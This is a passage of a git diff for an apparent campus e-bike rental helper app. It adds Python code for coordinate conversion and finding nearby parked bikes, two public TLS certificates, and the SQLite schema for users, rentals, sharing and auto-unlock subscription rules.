GCJ02 —— 与上游车辆接口(bike_history)一致; +- 管理面板在百度地图上点选得到 BD09,入库前先经 bd09togcj02 转换; +- 上游 parkeArea 的坐标本身就是 GCJ02,**不要再转**,直接取点入库; +- 本模块内置同款转换函数,供后端兜底/校验。 +""" +import json +import math + +# POI 最近归属的距离上限(米)。仅作为「离谱保护」:校园尺度内单校区骑车 +# 起终点必然落在最近楼栋数百米内;超过该值说明坐标异常,不给标签。 +POI_MAX_MATCH_M = 3000 +# 停车点默认统计半径(米):订阅时判断"这个点附近有没有车" +DEFAULT_PARKING_RADIUS_M = 150 + + +# ========== 坐标转换(与 static/js/coordtransform.js 同算法) ========== + +_X_PI = 3.14159265358979324 * 3000.0 / 180.0 +_PI = 3.1415926535897932384626 +_A = 6378245.0 +_EE = 0.00669342162296594323 + + +def _out_of_china(lng, lat): + return (lng < 72.004 or lng > 137.8347) or (lat < 0.8293 or lat > 55.8271) + + +def _transform_lat(lng, lat): + ret = -100.0 + 2.0 * lng + 3.0 * lat + 0.2 * lat * lat + \ + 0.1 * lng * lat + 0.2 * math.sqrt(abs(lng)) + ret += (20.0 * math.sin(6.0 * lng * _PI) + 20.0 * math.sin(2.0 * lng * _PI)) * 2.0 / 3.0 + ret += (20.0 * math.sin(lat * _PI) + 40.0 * math.sin(lat / 3.0 * _PI)) * 2.0 / 3.0 + ret += (160.0 * math.sin(lat / 12.0 * _PI) + 320 * math.sin(lat * _PI / 30.0)) * 2.0 / 3.0 + return ret + + +def _transform_lng(lng, lat): + ret = 300.0 + lng + 2.0 * lat + 0.1 * lng * lng + \ + 0.1 * lng * lat + 0.1 * math.sqrt(abs(lng)) + ret += (20.0 * math.sin(6.0 * lng * _PI) + 20.0 * math.sin(2.0 * lng * _PI)) * 2.0 / 3.0 + ret += (20.0 * math.sin(lat * _PI) + 40.0 * math.sin(lat / 3.0 * _PI)) * 2.0 / 3.0 + ret += (150.0 * math.sin(lng / 12.0 * _PI) + 300.0 * math.sin(lng / 30.0 * _PI)) * 2.0 / 3.0 + return ret + + +def bd09_to_gcj02(lng, lat): + """百度 BD09 -> 国测局 GCJ02(车辆/计算坐标系)。""" + x = lng - 0.0065 + y = lat - 0.006 + z = math.sqrt(x * x + y * y) - 0.00002 * math.sin(y * _X_PI) + theta = math.atan2(y, x) - 0.000003 * math.cos(x * _X_PI) + return [z * math.cos(theta), z * math.sin(theta)] + + +def gcj02_to_bd09(lng, lat): + """GCJ02 -> BD09(需要回显到百度地图时用)。""" + z = math.sqrt(lng * lng + lat * lat) + 0.00002 * math.sin(lat * _X_PI) + theta = math.atan2(lat, lng) + 0.000003 * math.cos(lng * _X_PI) + return [z * math.cos(theta) + 0.0065, z * math.sin(theta) + 0.006] + + +# ========== 几何工具 ========== + +def haversine_m(lat1, lng1, lat2, lng2): + """球面距离(米)。""" + try: + lat1, lng1, lat2, lng2 = float(lat1), float(lng1), float(lat2), float(lng2) + except (TypeError, ValueError): + return float("inf") + r = 6371000.0 + p1, p2 = math.radians(lat1), math.radians(lat2) + dphi = math.radians(lat2 - lat1) + dlmb = math.radians(lng2 - lng1) + a = math.sin(dphi / 2) ** 2 + math.cos(p1) * math.cos(p2) * math.sin(dlmb / 2) ** 2 + return 2 * r * math.asin(math.sqrt(a)) + + +def point_in_polygon(lat, lng, polygon): + """ray casting 判断点是否在多边形内。polygon = [[lat,lng],...](兼容旧数据)""" + inside = False + n = len(polygon) + j = n - 1 + for i in range(n): + yi, xi = polygon[i][0], polygon[i][1] + yj, xj = polygon[j][0], polygon[j][1] + if ((yi > lat) != (yj > lat)) and \ + (lng < (xj - xi) * (lat - yi) / (yj - yi + 1e-12) + xi): + inside = not inside + j = i + return inside + + +def parse_polygon(raw): + """解析 polygon JSON -> [[lat,lng],...];非法返回 [](仅兼容历史数据)。""" + if not raw: + return [] + try: + data = json.loads(raw) if isinstance(raw, str) else raw + except (TypeError, ValueError): + return [] + if not isinstance(data, list): + return [] + pts = [] + for p in data: + try: + if isinstance(p, (list, tuple)) and len(p) >= 2: + pts.append([float(p[0]), float(p[1])]) + except (TypeError, ValueError): + continue + return pts + + +# ========== 地点库 ========== + +def load_locations(conn=None, kind=None): + """读取地点;kind 可选 'poi' / 'parking' 过滤。""" + own = conn is None + if own: + from db import get_db + conn = get_db() + sql = ("SELECT id, name, kind, latitude, longitude, radius, polygon " + "FROM campus_locations") + params = () + if kind: + sql += " WHERE kind = ?" + params = (kind,) + sql += " ORDER BY id" + try: + rows = conn.execute(sql, params).fetchall() + except Exception: + rows = [] + if own: + conn.close() + return [dict(r) for r in rows] + + +def get_location(location_id, conn=None): + own = conn is None + if own: + from db import get_db + conn = get_db() + try: + row = conn.execute( + "SELECT id, name, kind, latitude, longitude, radius, polygon " + "FROM campus_locations WHERE id = ?", (location_id,) + ).fetchone() + except Exception: + row = None + if own: + conn.close() + return dict(row) if row else None + + +def nearest_poi(lat, lng, locations=None): + """返回 (最近的楼名, 距离米);没有楼或超出保护距离返回 (None, None)。 + + 起终点归属只用这个函数 —— 「哪个近就是哪个」,不依赖任何手动范围。 + """ + if lat is None or lng is None: + return None, None + try: + lat, lng = float(lat), float(lng) + except (TypeError, ValueError): + return None, None + pois = [l for l in (locations if locations is not None else load_locations(kind="poi")) + if l.get("kind", "poi") == "poi" + and l.get("latitude") is not None and l.get("longitude") is not None] + if not pois: + return None, None + best, best_d = None, float("inf") + for p in pois: + d = haversine_m(lat, lng, p["latitude"], p["longitude"]) + if d < best_d: + best, best_d = p["name"], d + if best is None or best_d > POI_MAX_MATCH_M: + return None, None + return best, best_d + + +def resolve_location_label(lat, lng, locations=None): + """坐标(GCJ02) -> 「博学楼附近」标签(最近的楼);无楼或超距返回 None。""" + name, _ = nearest_poi(lat, lng, locations) + return f"{name}附近" if name else None + + +def _num(value, default=0.0): + """安全转数字。注意不能用 `value or default`:0 是合法值(如 status=0=可用)。""" + if value is None or value == "": + return default + try: + return float(value) + except (TypeError, ValueError): + return default + + +def bikes_near_parking(points, loc): + """统计某个停车点附近的车辆(订阅用)。 + + points: [{bike_code, latitude, longitude, state, status, electric}, ...] + (调用方保证是每辆车最近一条记录) + loc: campus_locations 行(kind='parking',按坐标 + 半径判断) + 返回: {"available": n, "low": n, "total": n, "codes": [可用车牌...]} + """ + available, low, total, codes = 0, 0, 0, [] + try: + lat0, lng0 = float(loc.get("latitude")), float(loc.get("longitude")) + except (TypeError, ValueError): + return {"available": 0, "low": 0, "total": 0, "codes": []} + radius = loc.get("radius") + try: + radius = float(radius) if radius else DEFAULT_PARKING_RADIUS_M + except (TypeError, ValueError): + radius = DEFAULT_PARKING_RADIUS_M + # 兼容历史多边形停车区:点在多边形内也算 + poly = parse_polygon(loc.get("polygon")) + + for p in points: + try: + plat, plng = float(p.get("latitude")), float(p.get("longitude")) + except (TypeError, ValueError): + continue + hit = False + if lat0 is not None and lng0 is not None: + hit = haversine_m(plat, plng, lat0, lng0) <= radius + if not hit and len(poly) >= 3: + hit = point_in_polygon(plat, plng, poly) + if not hit: + continue + total += 1 + state = int(_num(p.get("state"), 1)) + status = int(_num(p.get("status"), 1)) + electric = _num(p.get("electric"), 0.0) + # 上游语义:state=1 且 status=1 才是「使用中」;空闲可用 = state=1 且 status!=1 + if state == 1 and status != 1 and electric >= 20: + available += 1 + codes.append(str(p.get("bike_code") or "")) + elif state == 10 or electric < 20: + low += 1 + return {"available": available, "low": low, "total": total, "codes": codes} + + +# ========== 车型判定(与前端 map.js getBikeKind 同一套规则) ========== +BIKE_KIND_LABELS = {"small": "小车", "big": "大车", "red": "红车"} + + +def bike_kind(code) -> str: + """按编号判定车型: + - 超过 5 位(如 30000193):新引进红色外观车 → red + - 5 位取前三位号段:511 及以上=big(大车),510 及以下=small(小车) + """ + digits = "".join(ch for ch in str(code or "") if ch.isdigit()) + if len(digits) > 5: + return "red" + if not digits: + return "small" + num = int(digits) + series = num // (10 ** (len(digits) - 3)) if len(digits) >= 5 else num + return "big" if series >= 511 else "small" + + +def parking_candidates(points, loc, kinds=None, min_electric=0, max_electric=100, + sort_by="electric_desc", limit=20): + """列出某停车点附近**空闲可用**车辆候选,按规则排序后返回前 limit 个。 + + points: 每辆车最近一条采集点(GCJ02) + kinds: 允许的车型集合(None/空 = 不限制) + 返回: [{"bike_code","kind","kind_label","electric","distance"}, ...] + """ + if loc is None or loc.get("latitude") is None or loc.get("longitude") is None: + return [] + try: + lat0, lng0 = float(loc["latitude"]), float(loc["longitude"]) + except (TypeError, ValueError): + return [] + try: + radius = float(loc.get("radius") or DEFAULT_PARKING_RADIUS_M) + except (TypeError, ValueError): + radius = DEFAULT_PARKING_RADIUS_M + kind_filter = set(kinds or []) or {"small", "big", "red"} + try: + min_e = float(min_electric if min_electric is not None else 0) + max_e = float(max_electric if max_electric is not None else 100) + except (TypeError, ValueError): + min_e, max_e = 0.0, 100.0 + + out = [] + for p in points: + try: + plat, plng = float(p.get("latitude")), float(p.get("longitude")) + except (TypeError, ValueError): + continue + electric = _num(p.get("electric"), 0.0) + state = int(_num(p.get("state"), 1)) + status = int(_num(p.get("status"), 1)) + dist = haversine_m(plat, plng, lat0, lng0) + if dist > radius: + continue + # 只挑「空闲可用」:state=1 且 status!=1;电量落在设定区间 + if not (state == 1 and status != 1): + continue + if electric < min_e or electric > max_e: + continue + k = bike_kind(p.get("bike_code")) + if k not in kind_filter: + continue + out.append({ + "bike_code": str(p.get("bike_code") or ""), + "kind": k, + "kind_label": BIKE_KIND_LABELS.get(k, k), + "electric": round(electric, 1), + "distance": round(dist), + }) + + if sort_by == "electric_asc": + out.sort(key=lambda x: (x["electric"], x["distance"])) + elif sort_by == "distance_asc": + out.sort(key=lambda x: (x["distance"], -x["electric"])) + else: # electric_desc(默认:电量从高到低) + out.sort(key=lambda x: (-x["electric"], x["distance"])) + try: + limit = max(1, int(limit or 20)) + except (TypeError, ValueError): + limit = 20 + return out[:limit] + + +# 兼容旧调用名 +def bikes_near_location(points, loc): + return bikes_near_parking(points, loc) \ No newline at end of file diff --git a/cert.pem b/cert.pem new file mode 100644 index 0000000..e426890 --- /dev/null +++ b/cert.pem @@ -0,0 +1,19 @@ +-----BEGIN CERTIFICATE----- +MIIDCTCCAfGgAwIBAgIUcol8xUcjrWOBC1h/XBA3PSL8hr4wDQYJKoZIhvcNAQEL +BQAwFDESMBAGA1UEAwwJbG9jYWxob3N0MB4XDTI2MDQyMTEyNTgzM1oXDTI3MDQy +MTEyNTgzM1owFDESMBAGA1UEAwwJbG9jYWxob3N0MIIBIjANBgkqhkiG9w0BAQEF +AAOCAQ8AMIIBCgKCAQEAugEeAJfOaLGmKkxnHfcbssngyK78LcmC3TvMaGybcTaM +LvyVyuKI9vTnb8kfJM8tQZxP104uPVwTBa2bPdlaFju8DEw0tv6SvwPAxXMahBwS +lEa+sYEGjgGuwdzDpem9dpkx+3t6MPk/vs5LUN3bJsnqhRHIYFV05IwcUmNQHvu3 +DkSPyVukBgbkg0kfZmbD0fSd2MOi7W7oPfX7GFs+mow7Ofg9mBvewazTsfm80KkB +RLJlG7cEk9r+qME75XnAzPSrxjsr2gUhu44YJ5HPqSgz+jsWiLB47U8D0GgeEZZF +DKOxoSzadIhKPcAzH6rmyv+88RORhoftasnml1SMxQIDAQABo1MwUTAdBgNVHQ4E +FgQUflZL1SfllduC5LWjr/TTvIunlCIwHwYDVR0jBBgwFoAUflZL1SfllduC5LWj +r/TTvIunlCIwDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAQEAKQy1 +YJnUAOXKOGKZJUUDsWjbYZ0i7qG+4YzpyPb0KRfyzTwn0FDnuPbHfSjd5QGZgJxt +CoZV0qTUHWctKdid+A8q1fynvu1DERIYHRGWJvKLv9ySY8KmRZLG/gYJvzjxiPkL +qDECmVRKJM1wRp5tKynuo97kyCLmQHHEnIlyZ9HM+elItpwZweD/R7yd/qULbKUX +lTGzPeReUj7mIcscsuTvKCRKBhslxvUgQDHsN1q4eEwLCNVr94V0wstEp5sdeJvl +pL4lqLxXlCqBMxzZ8hm5VK83N+Wj1nokkCsCLmzL96GW6yE7ZffDU+Ibus+YCtj2 +9zC9vtd3PadkFyHkDQ== +-----END CERTIFICATE----- diff --git a/certificate.crt b/certificate.crt new file mode 100644 index 0000000..37f8478 --- /dev/null +++ b/certificate.crt @@ -0,0 +1,32 @@ +-----BEGIN CERTIFICATE----- +MIIFfzCCA+egAwIBAgIQDON/Evu3Aq6w4T67JD84rzANBgkqhkiG9w0BAQsFADBG +MQswCQYDVQQGEwJBVDEVMBMGA1UEChMMWmVyb1NTTCBHbWJIMSAwHgYDVQQDExda +ZXJvU1NMIFJTQSBEViBTU0wgQ0EgMjAeFw0yNjA0MjEwMDAwMDBaFw0yNjA3MjAy +MzU5NTlaMBkxFzAVBgNVBAMTDjQ3LjExMi4xODcuMTcyMIIBIjANBgkqhkiG9w0B +AQEFAAOCAQ8AMIIBCgKCAQEA6uK6FJIX3CHtkkWb8s448v5l0UY8yh4hbL/xhvQQ +rAGEdeDRm/zwstwsw/OKkkWLe0eE1zC0/zvgZN8gjXNtgUK4A6uev+CjctEPijT6 +fhcXsWspQQ6ihRGw+giSIm8TIGdh97cwpyKB6e8EgpddLlcaBPBd4Xkyi5aZwGuq +DjuvDMeYfd+3Fe0MuZ61RObQ8cplAG14GKBly/HhEkY4ycxrzxKNbMYRJW9wZvUH +v+E3ku7ezdCtaLU2AVtVlVYRgPwUT7kB9oSqXSXds18g1H6f3w0Ci1osRgrA/gRQ +ZNUIwdJ58FT955xHmvkP98NxRLLPZ8Wqmn9/5jnsVyn12QIDAQABo4ICFDCCAhAw +HwYDVR0jBBgwFoAUS776doQjRAS5zr4xb+n1Mgb/DFcwHQYDVR0OBBYEFIyOE+cJ +rZ4oLGIPabNopuvEy8ReMA4GA1UdDwEB/wQEAwIFoDAMBgNVHRMBAf8EAjAAMBMG +A1UdJQQMMAoGCCsGAQUFBwMBMBMGA1UdIAQMMAowCAYGZ4EMAQIBMG4GCCsGAQUF +BwEBBGIwYDA5BggrBgEFBQcwAoYtaHR0cDovL2NydC5zZWN0aWdvLmNvbS9aZXJv +U1NMUlNBRFZTU0xDQTIuY3J0MCMGCCsGAQUFBzABhhdodHRwOi8vb2NzcC5zZWN0 +aWdvLmNvbTCCAQMGCisGAQQB1nkCBAIEgfQEgfEA7wB2ANdtfRDRp/V3wsfpX9cA +v/mCyTNaZeHQswFzF8DIxWl3AAABnbBCKukAAAQDAEcwRQIgJjjYYsW+ptzeLGtg +MfutQR8kJDZufkJ2IRyuazHm0zYCIQDXWFYyaPX+FDx/4+oahwkrpOpb8ywLfibm +oE/KjyEYGwB1AMijxH/Hs625NWsBP2p6Em3jOk5DpcZG+ZetOXWZHc+aAAABnbBC +K6IAAAQDAEYwRAIgLP/AOhTK1ZWDFs/wPJ1XnImgiatyMic9yPpjB5+1l0wCIDks +CKZq5eKiHo1HlGh/tqg8TVIcEbFH6rd7APD+AtTgMA8GA1UdEQQIMAaHBC9wu6ww +DQYJKoZIhvcNAQELBQADggGBADYvxJBts1Z7PqRZrDmR8FYEnHS4ldzq+ANDypZV +wY4A0DAq1VkClYC32EW2p7DDLr1+xOX8OIUwGmFh5lZq7m1JiaMe2p3ajFz89pSR +QccFgXNsPW1Ux0W70Jb+R6oOW7q9VhwQl8fQRatkeTf8Su1K/LpS/4+72z3AOPJe +FqW2Vrp6x1Ecta7GJxlLvuS0Z6276/0h+bWAp2cEsSzJ4cnNfrdCKIhakHcWjN0n +zDITy9Sflv7xHDeHyV8p5N7+bTt/9tQE+sr8n0KOmUaxpPLPqfEVjXMdi/2G+YYM +YsATqDPgdBpwxClTd4I/bpumVU+Aqf8u0UPOhtCapPjm1cgV3AOfZ4TyQ/0Wd415 +kjVFfSi/w4vN2D2I+Kp1hG0heqLq4Wm7DV2rt0shaTZxwP6cdEJ7aNqYDIegKGLx +xfFKWCWw9VwxuC/L0Fvb7gwFvxZ3fBFYKnexwVgRMvt39JSXWlcAvFW6Pc8+OeZL +J29EzuPpiH9B9zwiDeMMO4XzLw== +-----END CERTIFICATE----- diff --git a/db.py b/db.py new file mode 100644 index 0000000..65da783 --- /dev/null +++ b/db.py @@ -0,0 +1,758 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +"""数据库模块""" +import sqlite3 +from pathlib import Path + +DB_PATH = Path(__file__).parent / "users.db" + +DEFAULT_RENTAL_SETTINGS = { + "reminder_enabled": True, + "reminder_minutes": [5, 3, 0], + "rental_duration_minutes": 19, + "auto_return_enabled": True, + # 总轮次包含首轮;默认 1 保持旧行为。 + "rental_rounds": 1, + "protect_card": True, +} +ALLOWED_REMINDER_MINUTES = (10, 5, 3, 2, 1, 0) +MIN_RENTAL_ROUNDS = 1 +MAX_RENTAL_ROUNDS = 20 + + +def get_db(): + """获取数据库连接(WAL + 忙等待,避免多线程写入时 database is locked)""" + conn = sqlite3.connect(str(DB_PATH)) + conn.row_factory = sqlite3.Row + conn.execute("PRAGMA journal_mode=WAL") + conn.execute("PRAGMA busy_timeout=5000") + return conn + + +def init_db(): + """初始化数据库""" + conn = get_db() + cursor = conn.cursor() + + cursor.execute(""" + CREATE TABLE IF NOT EXISTS users ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + email TEXT UNIQUE NOT NULL, + password_hash TEXT NOT NULL, + access_token TEXT, + created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + reminder_enabled INTEGER NOT NULL DEFAULT 1, + reminder_minutes TEXT NOT NULL DEFAULT '5,3,0', + rental_duration_minutes INTEGER NOT NULL DEFAULT 19, + auto_return_enabled INTEGER NOT NULL DEFAULT 1, + rental_rounds INTEGER NOT NULL DEFAULT 1, + protect_card INTEGER NOT NULL DEFAULT 1 + ) + """) + + # 迁移:老库的 wx_signature 列重命名为 access_token(语义变更:存 accessToken 而非一次性签名) + try: + cursor.execute("ALTER TABLE users RENAME COLUMN wx_signature TO access_token") + except sqlite3.OperationalError: + pass # 已重命名过或新库 + for col in ["token_id", "access_token"]: + try: + cursor.execute(f"ALTER TABLE users ADD COLUMN {col} TEXT") + except sqlite3.OperationalError: + pass + for col_def in [ + ("reminder_enabled", "INTEGER NOT NULL DEFAULT 1"), + ("reminder_minutes", "TEXT NOT NULL DEFAULT '5,3,0'"), + ("rental_duration_minutes", "INTEGER NOT NULL DEFAULT 19"), + ("auto_return_enabled", "INTEGER NOT NULL DEFAULT 1"), + ("rental_rounds", "INTEGER NOT NULL DEFAULT 1"), + ("protect_card", "INTEGER NOT NULL DEFAULT 1"), + ]: + try: + cursor.execute(f"ALTER TABLE users ADD COLUMN {col_def[0]} {col_def[1]}") + except sqlite3.OperationalError: + pass + # 老数据清洗:40 位 hex 是抓包的一次性 hsf-x-signature,不是 accessToken(JWT 以 eyJ 开头),置空 + try: + cursor.execute(""" + UPDATE users SET access_token = NULL + WHERE access_token IS NOT NULL + AND length(access_token) = 40 + AND access_token NOT LIKE 'eyJ%' + """) + except sqlite3.OperationalError: + pass + + cursor.execute(""" + CREATE TABLE IF NOT EXISTS sessions ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + user_id INTEGER NOT NULL, + token TEXT UNIQUE NOT NULL, + expires_at TIMESTAMP NOT NULL, + created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + FOREIGN KEY (user_id) REFERENCES users(id) + ) + """) + + # 多设备登录:为每台设备记录标识信息(用于“我的 → 登录设备管理”展示与下线) + for col_def in [("device_name", "TEXT"), ("device_id", "TEXT"), + ("user_agent", "TEXT"), ("last_active", "TIMESTAMP")]: + try: + cursor.execute(f"ALTER TABLE sessions ADD COLUMN {col_def[0]} {col_def[1]}") + except sqlite3.OperationalError: + pass + + cursor.execute(""" + CREATE TABLE IF NOT EXISTS reminders ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + user_id INTEGER NOT NULL, + bike_code TEXT NOT NULL, + email TEXT NOT NULL, + duration INTEGER NOT NULL, + start_time TIMESTAMP, + created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + FOREIGN KEY (user_id) REFERENCES users(id) + ) + """) + + cursor.execute(""" + CREATE TABLE IF NOT EXISTS rentals ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + order_id TEXT, + bike_code TEXT NOT NULL, + email TEXT NOT NULL, + user_id INTEGER, + start_time TIMESTAMP NOT NULL, + end_time TIMESTAMP NOT NULL, + expired INTEGER DEFAULT 0, + source TEXT DEFAULT 'reminder', + notified_10 INTEGER DEFAULT 0, + notified_5 INTEGER DEFAULT 0, + notified_3 INTEGER DEFAULT 0, + notified_2 INTEGER DEFAULT 0, + notified_1 INTEGER DEFAULT 0, + notified_0 INTEGER DEFAULT 0, + renewal_round INTEGER NOT NULL DEFAULT 1, + created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP + ) + """) + + # 邮件一键还车的能力令牌。数据库只保存 SHA-256 摘要, + # 邮件中的原始 token 泄漏数据库时不可被反推。 + cursor.execute(""" + CREATE TABLE IF NOT EXISTS rental_return_tokens ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + rental_id INTEGER NOT NULL, + token_hash TEXT UNIQUE NOT NULL, + expires_at TIMESTAMP NOT NULL, + used_at TIMESTAMP, + created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + FOREIGN KEY (rental_id) REFERENCES rentals(id) + ) + """) + cursor.execute(""" + CREATE INDEX IF NOT EXISTS idx_return_tokens_rental + ON rental_return_tokens(rental_id) + """) + + for col in ["duration", "notified_10", "notified_5", "notified_3", + "notified_2", "notified_1", "notified_0", "user_id", + "renewal_round"]: + try: + if col == "user_id": + cursor.execute(f"ALTER TABLE rentals ADD COLUMN {col} INTEGER") + elif col == "renewal_round": + cursor.execute(f"ALTER TABLE rentals ADD COLUMN {col} INTEGER NOT NULL DEFAULT 1") + else: + cursor.execute(f"ALTER TABLE rentals ADD COLUMN {col} INTEGER DEFAULT 0") + except sqlite3.OperationalError: + pass + + cursor.execute(""" + CREATE TABLE IF NOT EXISTS bike_history ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + bike_code TEXT NOT NULL, + latitude REAL, + longitude REAL, + status INTEGER DEFAULT 1, + state INTEGER DEFAULT 1, + electric REAL DEFAULT 100, + recorded_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP + ) + """) + + for col_def in [("state", "INTEGER DEFAULT 1"), ("electric", "REAL DEFAULT 100")]: + try: + cursor.execute(f"ALTER TABLE bike_history ADD COLUMN {col_def[0]} {col_def[1]}") + except sqlite3.OperationalError: + pass + + # 分析查询均按 bike_code / recorded_at 过滤,无索引会全表扫描 + cursor.execute(""" + CREATE INDEX IF NOT EXISTS idx_history_code_time + ON bike_history(bike_code, recorded_at) + """) + cursor.execute("CREATE INDEX IF NOT EXISTS idx_history_time ON bike_history(recorded_at)") + + cursor.execute(""" + CREATE TABLE IF NOT EXISTS snapshots ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + snapshot_time TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + total_bikes INTEGER DEFAULT 0, + available_count INTEGER DEFAULT 0, + inuse_count INTEGER DEFAULT 0, + locked_count INTEGER DEFAULT 0, + reserved_count INTEGER DEFAULT 0, + low_count INTEGER DEFAULT 0, + data_json TEXT, + source TEXT DEFAULT 'web', + recorded_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP + ) + """) + + try: + cursor.execute("ALTER TABLE rentals ADD COLUMN source TEXT DEFAULT 'reminder'") + except sqlite3.OperationalError: + pass + try: + cursor.execute("ALTER TABLE rentals ADD COLUMN order_id TEXT") + except sqlite3.OperationalError: + pass + try: + cursor.execute("ALTER TABLE rentals ADD COLUMN rider_user_id INTEGER") + except sqlite3.OperationalError: + pass + + # 兼容修复:历史遗留的共享订单若 source 未被正确标记,按 rider_user_id 回填 + try: + cursor.execute(""" + UPDATE rentals SET source = 'shared' + WHERE rider_user_id IS NOT NULL AND rider_user_id != user_id + AND (source IS NULL OR source != 'shared') + """) + except sqlite3.OperationalError: + pass + + # ===== 共享电动车 ===== + cursor.execute(""" + CREATE TABLE IF NOT EXISTS share_requests ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + from_user_id INTEGER NOT NULL, + to_user_id INTEGER NOT NULL, + status TEXT NOT NULL DEFAULT 'pending', + created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP + ) + """) + + cursor.execute(""" + CREATE TABLE IF NOT EXISTS shares ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + owner_user_id INTEGER NOT NULL, + rider_user_id INTEGER NOT NULL, + daily_limit INTEGER NOT NULL DEFAULT 3, + require_card INTEGER NOT NULL DEFAULT 0, + card_min_times INTEGER NOT NULL DEFAULT 0, + status TEXT NOT NULL DEFAULT 'active', + created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + unbound_by INTEGER + ) + """) + try: + cursor.execute("CREATE UNIQUE INDEX IF NOT EXISTS idx_shares_pair ON shares(owner_user_id, rider_user_id)") + except sqlite3.OperationalError: + pass + + # 共享电动车:双方给对方起的私密昵称备注(微信式给备注) + # owner_remark = 共享方(owner) 给 用车方(rider) 起的备注(owner 侧显示) + # rider_remark = 用车方(rider) 给 共享方(owner) 起的备注(rider 侧显示) + for _col in ["owner_remark", "rider_remark"]: + try: + cursor.execute(f"ALTER TABLE shares ADD COLUMN {_col} TEXT") + except sqlite3.OperationalError: + pass + + cursor.execute(""" + CREATE TABLE IF NOT EXISTS share_usage ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + owner_user_id INTEGER NOT NULL, + rider_user_id INTEGER NOT NULL, + use_date TEXT NOT NULL, + used_count INTEGER NOT NULL DEFAULT 0, + updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP + ) + """) + try: + cursor.execute("CREATE UNIQUE INDEX IF NOT EXISTS idx_share_usage_day ON share_usage(owner_user_id, rider_user_id, use_date)") + except sqlite3.OperationalError: + pass + + # ===== 注册邀请码(管理员签发,注册时必填并核销) ===== + cursor.execute(""" + CREATE TABLE IF NOT EXISTS invite_codes ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + code TEXT UNIQUE NOT NULL, + max_uses INTEGER NOT NULL DEFAULT 1, + used_count INTEGER NOT NULL DEFAULT 0, + used_by TEXT NOT NULL DEFAULT '', + note TEXT NOT NULL DEFAULT '', + disabled INTEGER NOT NULL DEFAULT 0, + created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP + ) + """) + + # ===== 校园地点(教学楼/兴趣点 POI + 停车区) ===== + # 坐标统一存 GCJ02(与上游车辆接口同一坐标系);前端点选得到的是百度 BD09, + # 入库前先经 coordtransform.bd09togcj02 转换。polygon 为 JSON 数组 [[lat,lng],...]。 + cursor.execute(""" + CREATE TABLE IF NOT EXISTS campus_locations ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + name TEXT NOT NULL, + kind TEXT NOT NULL DEFAULT 'poi', + latitude REAL, + longitude REAL, + radius INTEGER, + polygon TEXT, + created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP + ) + """) + try: + cursor.execute("ALTER TABLE campus_locations ADD COLUMN radius INTEGER") + except sqlite3.OperationalError: + pass + + # ===== 订单起终点(从哪里骑到哪里)+ 实际还车时间 + 轮次覆盖 ===== + for col_def in [ + ("start_latitude", "REAL"), ("start_longitude", "REAL"), + ("end_latitude", "REAL"), ("end_longitude", "REAL"), + ("start_label", "TEXT"), ("end_label", "TEXT"), + ("returned_at", "TIMESTAMP"), + ("rounds_override", "INTEGER"), + ]: + try: + cursor.execute(f"ALTER TABLE rentals ADD COLUMN {col_def[0]} {col_def[1]}") + except sqlite3.OperationalError: + pass + + # ===== 用车订阅规则(定时查看某停车点附近车辆,可选自动开锁) ===== + cursor.execute(""" + CREATE TABLE IF NOT EXISTS subscribe_rules ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + user_id INTEGER NOT NULL, + location_id INTEGER, + weekday INTEGER NOT NULL DEFAULT 0, + minute_of_day INTEGER NOT NULL DEFAULT 720, + notify_enabled INTEGER NOT NULL DEFAULT 1, + auto_unlock INTEGER NOT NULL DEFAULT 0, + enabled INTEGER NOT NULL DEFAULT 1, + last_fired_on TEXT NOT NULL DEFAULT '', + created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP + ) + """) + # 自动开锁的筛选 / 排序 / 重试配置 + for col_def in [ + ("kinds", "TEXT NOT NULL DEFAULT 'small,big,red'"), # 允许车型:small/big/red + ("min_electric", "INTEGER NOT NULL DEFAULT 0"), # 电量下限 + ("max_electric", "INTEGER NOT NULL DEFAULT 100"), # 电量上限 + ("sort_by", "TEXT NOT NULL DEFAULT 'electric_desc'"), # 排序:electric_desc/electric_asc/distance_asc + ("retry_times", "INTEGER NOT NULL DEFAULT 3"), # 被他人抢先时的候选重试次数 + ]: + try: + cursor.execute(f"ALTER TABLE subscribe_rules ADD COLUMN {col_def[0]} {col_def[1]}") + except sqlite3.OperationalError: + pass + + # ===== 凭据告警去重(同一凭据同一级别只发一次) ===== + cursor.execute(""" + CREATE TABLE IF NOT EXISTS credential_alerts ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + target TEXT NOT NULL, + level TEXT NOT NULL, + sent_on TEXT NOT NULL, + sent_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + UNIQUE(target, level) + ) + """) + + # ===== 数据导出直链令牌(1 小时有效,免登录下载) ===== + cursor.execute(""" + CREATE TABLE IF NOT EXISTS export_tokens ( + token TEXT PRIMARY KEY, + scope TEXT NOT NULL DEFAULT 'history_csv', + created_at TIMESTAMP DEFAULT 